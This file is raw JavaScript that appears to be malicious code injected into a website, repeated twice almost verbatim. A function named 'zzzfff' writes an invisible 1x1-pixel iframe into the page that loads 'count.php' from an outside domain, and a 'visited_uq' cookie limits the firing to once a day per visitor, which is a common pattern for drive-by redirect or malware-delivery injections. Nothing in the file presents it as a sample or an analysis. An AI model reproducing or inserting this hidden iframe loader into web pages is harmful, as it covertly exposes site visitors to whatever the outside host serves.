function zzzfff(){
var ctar = document.createElement('iframe');
ctar.src = 'http://www.seyama.co.jp/count.php';
ctar.style.position = 'absolute';
ctar.style.border = '0';
ctar.style.height = '1px';
ctar.style.width = '1px';
ctar.style.left = '1px';
ctar.style.top = '1px';
if (!document.getElementById('ctar')){
document.write('<div id=\'ctar\'></div>');
document.getElementById('ctar').appendChild(ctar);
}
}
function SetCookie(cookieName, cookieValue, nDays, path){
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))){
return null;
}
if (start == - 1)return null;
var end = document.cookie.indexOf(";", len);
if (end == - 1)end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
if (GetCookie('visited_uq') == 55){
}
else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}
function zzzfff(){
var ca = document.createElement('iframe');
ca.src = 'http://www.seyama.co.jp/count.php';
ca.style.position = 'absolute';
ca.style.border = '0';
ca.style.height = '1px';
ca.style.width = '1px';
ca.style.left = '1px';
ca.style.top = '1px';
if (!document.getElementById('ca')){
document.write('<div id=\'ca\'></div>');
document.getElementById('ca').appendChild(ca);
}
}
function SetCookie(cookieName, cookieValue, nDays, path){
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))){
return null;
}
if (start == - 1)return null;
var end = document.cookie.indexOf(";", len);
if (end == - 1)end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
if (GetCookie('visited_uq') == 55){
}
else {
SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
} |